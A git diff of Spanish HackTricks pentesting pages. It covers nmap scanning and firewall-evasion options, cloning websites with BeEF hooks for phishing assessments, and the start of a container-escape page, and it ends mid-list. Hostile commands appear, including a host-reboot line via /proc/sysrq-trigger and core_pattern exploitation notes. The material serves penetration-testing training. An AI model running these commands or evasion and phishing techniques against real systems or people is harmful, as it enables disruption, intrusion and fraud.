* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```
|
||||
|
@ -32,29 +32,29 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
Por defecto, Nmap lanza una fase de descubrimiento que consiste en: `-PA80 -PS443 -PE -PP`
|
||||
|
||||
* **`-sL`**: No invasivo, lista los objetivos haciendo solicitudes **DNS** para resolver nombres. Es útil para saber, por ejemplo, si www.prueba.es/24 todos los Ips son nuestros objetivos.
|
||||
* **`-Pn`**: **Sin ping**. Útil si se sabe que todos están activos (de lo contrario, se podría perder mucho tiempo, pero esta opción también produce falsos negativos diciendo que no están activos), evita la fase de descubrimiento.
|
||||
* **`-sn`** : **Sin escaneo de puertos**. Después de completar la fase de reconocimiento, no escanea puertos. Es relativamente sigiloso y permite un pequeño escaneo de red. Con privilegios envía un ACK (-PA) a 80, un SYN(-PS) a 443 y una solicitud de eco y una solicitud de marca de tiempo, sin privilegios siempre completa las conexiones. Si el objetivo es la red, solo utiliza ARP(-PR). Si se usa con otra opción, solo se descartan los paquetes de la otra opción.
|
||||
* **`-sL`**: No es invasivo, lista los objetivos haciendo solicitudes **DNS** para resolver nombres. Es útil para saber, por ejemplo, si www.prueba.es/24 son todos nuestros objetivos.
|
||||
* **`-Pn`**: **Sin ping**. Útil si se sabe que todos están activos (de lo contrario, se podría perder mucho tiempo, pero esta opción también produce falsos negativos al decir que no están activos), evita la fase de descubrimiento.
|
||||
* **`-sn`** : **Sin escaneo de puertos**. Después de completar la fase de reconocimiento, no escanea puertos. Es relativamente sigiloso y permite un escaneo de red pequeño. Con privilegios envía un ACK (-PA) a 80, un SYN(-PS) a 443 y una solicitud de eco y una solicitud de marca de tiempo, sin privilegios siempre completa las conexiones. Si el objetivo es la red, solo utiliza ARP(-PR). Si se usa con otra opción, solo se descartan los paquetes de la otra opción.
|
||||
* **`-PR`**: **Ping ARP**. Se utiliza de forma predeterminada al analizar computadoras en nuestra red, es más rápido que usar pings. Si no se desean utilizar paquetes ARP, se utiliza `--send-ip`.
|
||||
* **`-PS <puertos>`**: Envía paquetes SYN a los cuales si responde SYN/ACK está abierto (a los que responde con RST para no finalizar la conexión), si responde RST está cerrado y si no responde está inalcanzable. En caso de no tener privilegios, se utiliza automáticamente una conexión total. Si no se especifican puertos, se envía a 80.
|
||||
* **`-PA <puertos>`**: Similar al anterior pero con ACK, combinar ambos da mejores resultados.
|
||||
* **`-PU <puertos>`**: El objetivo es lo contrario, se envían a puertos que se espera que estén cerrados. Algunos firewalls solo verifican conexiones TCP. Si está cerrado, responde con puerto inalcanzable, si responde con otro icmp o no responde, se deja como inalcanzable.
|
||||
* **`-PE, -PP, -PM`** : PINGS ICMP: respuesta de eco, marca de tiempo y máscara de dirección. Se envían para saber si el objetivo está activo.
|
||||
* **`-PY<puertos>`**: Envía sondas SCTP INIT a 80 de forma predeterminada, INIT-ACK (abierto) o ABORT (cerrado) o nada o inalcanzable por ICMP (inactivo) pueden responder.
|
||||
* **`-PO <protocolos>`**: Se indica un protocolo en los encabezados, por defecto 1 (ICMP), 2 (IGMP) y 4 (Encap IP). Para los protocolos ICMP, IGMP, TCP (6) y UDP (17) se envían los encabezados de protocolo, para el resto solo se envía el encabezado IP. El propósito de esto es que debido a la malformación de los encabezados, se responden Protocol unreachable o respuestas del mismo protocolo para saber si está activo.
|
||||
* **`-PY<puertos>`**: Envía sondas SCTP INIT a 80 de forma predeterminada, INIT-ACK (abierto) o ABORT (cerrado) o nada o ICMP inalcanzable (inactivo) pueden responder.
|
||||
* **`-PO <protocolos>`**: Se indica un protocolo en los encabezados, por defecto 1(ICMP), 2(IGMP) y 4(Encap IP). Para los protocolos ICMP, IGMP, TCP (6) y UDP (17) se envían los encabezados de protocolo, para el resto solo se envía el encabezado IP. El propósito de esto es que debido a la malformación de los encabezados, se responden Protocol unreachable o respuestas del mismo protocolo para saber si está activo.
|
||||
* **`-n`**: Sin DNS
|
||||
* **`-R`**: Siempre DNS
|
||||
|
||||
### Técnicas de escaneo de puertos
|
||||
|
||||
* **`-sS`**: No completa la conexión, por lo que no deja rastro, muy bueno si se puede usar (con privilegios). Es el que se utiliza de forma predeterminada.
|
||||
* **`-sT`**: Completa la conexión, por lo que deja rastro, pero se puede usar con seguridad. Por defecto sin privilegios.
|
||||
* **`-sU`**: Más lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 y 68), (-sU53,161,162,67,68): abierto(respuesta), cerrado(puerto inalcanzable), filtrado (otro ICMP), abierto/filtrado (nada). En caso de abierto/filtrado, -sV envía numerosas solicitudes para detectar alguna de las versiones que nmap admite y puede detectar el verdadero estado. Aumenta mucho el tiempo.
|
||||
* **`-sS`**: No completa la conexión, por lo que no deja rastro, muy bueno si se puede usar (con privilegios). Es el utilizado de forma predeterminada.
|
||||
* **`-sT`**: Completa la conexión, por lo que deja rastro, pero se puede usar con seguridad. De forma predeterminada sin privilegios.
|
||||
* **`-sU`**: Más lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 y 68), (-sU53,161,162,67,68): abierto(respuesta), cerrado(puerto inalcanzable), filtrado (otro ICMP), abierto/filtrado (nada). En caso de abierto/filtrado, -sV envía numerosas solicitudes para detectar alguna de las versiones que nmap soporta y puede detectar el verdadero estado. Aumenta mucho el tiempo.
|
||||
* **`-sY`**: El protocolo SCTP no logra establecer la conexión, por lo que no hay registros, funciona como -PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, pueden penetrar algunos firewalls y extraer información. Se basan en que las máquinas compatibles con el estándar deben responder con RST a todas las solicitudes que no tengan banderas SYN, RST o ACK levantadas: abierto/filtrado(nada), cerrado(RST), filtrado (ICMP inalcanzable). No fiable en Windows, Cisco, BSDI y OS/400. En Unix sí.
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, pueden penetrar algunos firewalls y extraer información. Se basan en que las máquinas compatibles con el estándar deben responder con RST a todas las solicitudes que no tengan banderas SYN, RST o ACK elevadas: abierto/filtrado(nada), cerrado(RST), filtrado (ICMP inalcanzable). No fiable en Windows, CIsco, BSDI y OS/400. En Unix sí.
|
||||
* **`-sM`**: Escaneo Maimon: Envía banderas FIN y ACK, utilizado para BSD, actualmente devolverá todo como cerrado.
|
||||
* **`-sA, sW`**: ACK y Window, se utiliza para detectar firewalls, para saber si los puertos están filtrados o no. El -sW distingue entre abierto/cerrado ya que los abiertos responden con un valor de ventana diferente: abierto (RST con ventana distinta de 0), cerrado (RST ventana = 0), filtrado (ICMP inalcanzable o nada). No todos los equipos funcionan de esta manera, por lo que si todos están cerrados, no está funcionando, si hay algunos abiertos, está funcionando bien, y si hay muchos abiertos y pocos cerrados, está funcionando al revés.
|
||||
* **`-sI`:** Escaneo inactivo. Para los casos en los que hay un firewall activo pero sabemos que no filtra a cierta Ip (o cuando simplemente queremos anonimato) podemos usar el escáner zombie (funciona para todos los puertos), para buscar posibles zombies podemos usar el script ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escáner se basa en el número IPID de los paquetes IP.
|
||||
* **`-sA, sW`**: ACK y Window, se utiliza para detectar firewalls, para saber si los puertos están filtrados o no. El -sW distingue entre abierto/cerrado ya que los abiertos responden con un valor de ventana diferente: abierto (RST con ventana distinta de 0), cerrado (ventana RST = 0), filtrado (ICMP inalcanzable o nada). No todos los equipos funcionan de esta manera, por lo que si todos están cerrados, no está funcionando, si hay algunos abiertos, está funcionando bien, y si hay muchos abiertos y pocos cerrados, está funcionando al revés.
|
||||
* **`-sI`:** Escaneo inactivo. Para los casos en los que hay un firewall activo pero se sabe que no filtra a cierta Ip (o cuando simplemente se desea anonimato) se puede utilizar el escáner zombie (funciona para todos los puertos), para buscar posibles zombies se puede utilizar el script ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escáner se basa en el número IPID de los paquetes IP.
|
||||
* **`--badsum`:** Envía la suma incorrecta, las computadoras descartarían los paquetes, pero los firewalls podrían responder algo, se utiliza para detectar firewalls.
|
||||
* **`-sZ`:** Escáner SCTP "extraño", al enviar sondas con fragmentos de eco de cookies deberían ser descartadas si están abiertas o respondidas con ABORT si están cerradas. Puede pasar a través de firewalls que no pasan por init, lo malo es que no distingue entre filtrado y abierto.
|
||||
* **`-sO`:** Escaneo de protocolo Ip. Envía encabezados incorrectos y vacíos en los que a veces ni siquiera se puede distinguir el protocolo. Si llega un protocolo ICMP inalcanzable está cerrado, si llega un puerto inalcanzable está abierto, si llega otro error, filtrado, si no llega nada, abierto|filtrado.
|
||||
|
@ -66,16 +66,16 @@ Por defecto, Nmap lanza una fase de descubrimiento que consiste en: `-PA80 -PS44
|
|||
|
||||
**-sV** Escaneo de versión, se puede ajustar la intensidad de 0 a 9, por defecto 7.
|
||||
|
||||
**--version-intensity \<numero>** Regula la intensidad, de modo que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto se puede acortar considerablemente el tiempo de escaneo UDP
|
||||
**--version-intensity \<numero>** Regula la intensidad, de modo que cuanto más baja, solo lanzará las sondas más probables, pero no todas. Con esto se puede acortar considerablemente el tiempo de escaneo UDP
|
||||
|
||||
**-O** Detección de os
|
||||
|
||||
**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os (ahorra tiempo)
|
||||
**--osscan-limit** Para escanear correctamente un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se cumple esta condición y hemos establecido esto, no intentará hacer una predicción de os (ahorra tiempo)
|
||||
**--osscan-guess** Cuando la detección de os no es perfecta esto hace que se esfuerce más
|
||||
|
||||
**Scripts**
|
||||
|
||||
\--script _\<nombre_archivo>_|_\<categoría>_|_\<directorio>_|_\<expresión>_\[,...]
|
||||
\--script _\<nombrearchivo>_|_\<categoría>_|_\<directorio>_|_\<expresión>_\[,...]
|
||||
|
||||
Para usar los de por efecto vale con -sC o --script=default
|
||||
|
||||
|
@ -105,9 +105,9 @@ Para buscar scripts:
|
|||
|
||||
\--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
|
||||
|
||||
\--script-args-file _\<nombre_archivo>_
|
||||
\--script-args-file _\<nombrearchivo>_
|
||||
|
||||
\--script-help _\<nombre_archivo>_|_\<categoría>_|_\<directorio>_|_\<expresión>_|all\[,...]
|
||||
\--script-help _\<nombrearchivo>_|_\<categoría>_|_\<directorio>_|_\<expresión>_|all\[,...]
|
||||
|
||||
\--script-trace ---> Da info de como va elscript
|
||||
|
||||
|
@ -131,9 +131,9 @@ Podemos modificar el numero de intentos:**--max-retries** _**\<numtries>**_
|
|||
|
||||
Podemos modificar el tiempo de escaneado de un host: **--host-timeout** _**\<time>**_
|
||||
|
||||
Podemos modificar el tiempo entre cada prueba para que vaya despacio: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**
|
||||
Podemos modificar el tiempo entre cada prueba para que vaya despacio: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
Podemos modificar el numero de paquetes por segundo: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**
|
||||
Podemos modificar el numero de paquetes por segundo: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
Muchos puertos tardan mucho en responder al estar filtrados o cerrados, si solo nos interesan los abiertos, podemos ir más rápido con: **--defeat-rst-ratelimit**
|
||||
|
||||
|
@ -165,13 +165,13 @@ Para usar Ips aleatorias: nmap-D RND: 10 Ip\_objetivo
|
|||
|
||||
**-e \<interfaz>** Para elegir la interfaz
|
||||
|
||||
Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les es más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP... para busca esta vulnerabilidad nmap incorpora: **--source-port** _**\<número_puerto>**_**;-g** _**\<número_puerto>**_ _Son equivalentes_
|
||||
Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les es más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP... para busca esta vulnerabilidad nmap incorpora: **--source-port** _**\<numerodepuerto>**_**;-g** _**\<numerodepuerto>**_ _Son equivalentes_
|
||||
|
||||
**--data** _**\<cadena_hexadecimal>**_ Para enviar texto hexadecimal: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
**--data** _**\<cadena hexadecimal>**_ Para enviar texto hexadecimal: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<cadena>**_ Para enviar un texto normal: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**\<número>**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un número de bytes más (que se generarán aleatoriamente)
|
||||
**--data-length** _**\<número>**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un numero de bytes mas (que se generaran aleatoriamente)
|
||||
|
||||
Para configurar el paquete IP completamente usar **--ip-options**
|
||||
|
||||
|
@ -181,42 +181,42 @@ If you wish to see the options in packets sent and received, specify --packet-tr
|
|||
|
||||
**--randomize-hosts** Para que el ataque sea menos obvio
|
||||
|
||||
**--spoof-mac** _**\<dirección_MAC, prefijo, o nombre del fabricante>**_ Para cambiar la mac ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<Lista separada por comas de URLs de proxy>**_ Para utilizar proxies, a veces un proxy no mantiene tantas conexiones abiertas como nmap desea, por lo que se debe ajustar el paralelismo: --max-parallelism
|
||||
**--spoof-mac** _**\<direcciónMAC, prefijo, o nombre del fabricante>**_ Para cambiar la mac ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<Lista separada por comas de URLs de proxy>**_ Para utilizar proxies, a veces un proxy no mantiene tantas conexiones abiertas como nmap desea, por lo que es necesario ajustar el paralelismo: --max-parallelism
|
||||
|
||||
**-sP** Para descubrir hosts en la red en la que nos encontramos mediante ARP
|
||||
**-sP** Para descubrir hosts en la red mediante ARP.
|
||||
|
||||
Muchos administradores crean una regla en el firewall que permite el paso de todos los paquetes que provienen de un puerto en particular (como el 20, 53 y 67). Podemos indicar a nmap que envíe nuestros paquetes desde esos puertos: **nmap --source-port 53 Ip**
|
||||
Muchos administradores crean una regla en el firewall que permite pasar todos los paquetes que provienen de un puerto en particular (como el 20, 53 y 67). Podemos indicar a nmap que envíe nuestros paquetes desde esos puertos: **nmap --source-port 53 IP**
|
||||
|
||||
**Salidas**
|
||||
|
||||
**-oN file** Salida normal
|
||||
**-oN archivo** Salida normal
|
||||
|
||||
**-oX file** Salida XML
|
||||
**-oX archivo** Salida XML
|
||||
|
||||
**-oS file** Salida de script kidies
|
||||
**-oS archivo** Salida de script kiddies
|
||||
|
||||
**-oG file** Salida grepable
|
||||
**-oG archivo** Salida en formato greppable
|
||||
|
||||
**-oA file** Todos menos -oS
|
||||
**-oA archivo** Todas las anteriores excepto -oS
|
||||
|
||||
**-v level** nivel de verbosidad
|
||||
**-v nivel** Verbosidad
|
||||
|
||||
**-d level** depuración
|
||||
**-d nivel** Depuración
|
||||
|
||||
**--reason** Razón del host y estado
|
||||
**--reason** Razón del host y su estado
|
||||
|
||||
**--stats-every time** Cada cierto tiempo muestra el progreso
|
||||
**--stats-every tiempo** Cada cierto tiempo muestra el progreso
|
||||
|
||||
**--packet-trace** Para ver qué paquetes se envían, se pueden especificar filtros como: --version-trace o --script-trace
|
||||
**--packet-trace** Para ver los paquetes enviados, se pueden especificar filtros como: --version-trace o --script-trace
|
||||
|
||||
**--open** muestra los puertos abiertos, abiertos|filtrados y los no filtrados
|
||||
**--open** Muestra los puertos abiertos, abiertos|filtrados y no filtrados
|
||||
|
||||
**--resume file** Genera un resumen
|
||||
**--resume archivo** Genera un resumen
|
||||
|
||||
**Miscelánea**
|
||||
|
||||
**-6** Permite ipv6
|
||||
**-6** Permite IPv6
|
||||
|
||||
**-A** Equivalente a -O -sV -sC --traceroute
|
||||
|
||||
|
@ -234,9 +234,9 @@ p / P Activar / desactivar el rastreo de paquetes
|
|||
|
||||
**Vulscan**
|
||||
|
||||
Script de nmap que busca las versiones de los servicios en una base de datos sin conexión (descargada de otras fuentes importantes) y devuelve posibles vulnerabilidades
|
||||
Script de nmap que busca versiones de servicios en una base de datos offline (descargada de fuentes importantes) y muestra posibles vulnerabilidades.
|
||||
|
||||
Las bases de datos que utiliza son:
|
||||
Las bases de datos utilizadas son:
|
||||
|
||||
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
|
||||
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
|
||||
|
@ -255,9 +255,9 @@ También es necesario descargar los paquetes de las bases de datos y añadirlos
|
|||
|
||||
Uso:
|
||||
|
||||
Para utilizar todas las bases de datos: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
|
||||
Para utilizar todas las bases de datos: sudo nmap -sV --script=vulscan HOST_A_ESCANEAR
|
||||
|
||||
Para utilizar una base de datos específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
|
||||
Para utilizar una base de datos específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_A_ESCANEAR
|
||||
|
||||
## Acelerar el escaneo de servicios de Nmap x16
|
||||
|
||||
|
@ -267,7 +267,7 @@ Además, las sondas que no tienen un **`servicewaitms`** definido específicamen
|
|||
|
||||
Si no se desea cambiar los valores de **`totalwaitms`** y **`tcpwrappedms`** en absoluto en el archivo `/usr/share/nmap/nmap-service-probes`, se puede editar el [código de análisis](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) para que estos valores en el archivo `nmap-service-probes` sean completamente ignorados.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -281,6 +281,6 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o síguenos en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
|
||||
Para una evaluación de phishing, a veces puede ser útil **clonar completamente un sitio web**.
|
||||
Para una evaluación de phishing a veces puede ser útil **clonar completamente un sitio web**.
|
||||
|
||||
Ten en cuenta que también puedes agregar algunos payloads al sitio clonado, como un gancho BeEF para "controlar" la pestaña del usuario.
|
||||
|
||||
|
@ -37,20 +37,20 @@ goclone <url>
|
|||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Puntos de Montaje Sensibles
|
||||
# Montajes Sensibles
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,21 +6,21 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
La exposición de `/proc` y `/sys` sin un aislamiento de espacio de nombres adecuado introduce riesgos de seguridad significativos, incluida la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga del contenedor, modificación del host o proporcionar información que facilite ataques adicionales. Por ejemplo, montar incorrectamente `-v /proc:/host/proc` puede eludir la protección de AppArmor debido a su naturaleza basada en la ruta, dejando `/host/proc` desprotegido.
|
||||
|
||||
**Puedes encontrar más detalles de cada posible vulnerabilidad en** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
**Puedes encontrar más detalles de cada vulnerabilidad potencial en** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## Vulnerabilidades de procfs
|
||||
|
||||
|
@ -31,7 +31,7 @@ Este directorio permite el acceso para modificar variables del kernel, generalme
|
|||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* Descrito en [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
* Permite definir un programa para ejecutar en la generación de archivos core con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecución de código si el archivo comienza con un tubo `|`.
|
||||
* Permite definir un programa para ejecutar en la generación de archivos core con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecución de código si el archivo comienza con un pipe `|`.
|
||||
* **Ejemplo de Prueba y Explotación**:
|
||||
|
||||
```bash
|
||||
|
@ -54,7 +54,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
|
|||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
* Referenciado en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Una bandera global que controla si el kernel entra en pánico o invoca al OOM killer cuando ocurre una condición de OOM.
|
||||
* Un indicador global que controla si el kernel entra en pánico o invoca al OOM killer cuando ocurre una condición de OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
|
@ -78,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
|
|||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
* Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones críticas.
|
||||
* Permite invocar comandos Sysrq, lo que potencialmente puede causar reinicios inmediatos del sistema u otras acciones críticas.
|
||||
* **Ejemplo de Reinicio del Host**:
|
||||
|
||||
```bash
|
||||
|
@ -94,7 +94,7 @@ echo b > /proc/sysrq-trigger # Reinicia el host
|
|||
|
||||
* Enumera símbolos exportados del kernel y sus direcciones.
|
||||
* Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
|
||||
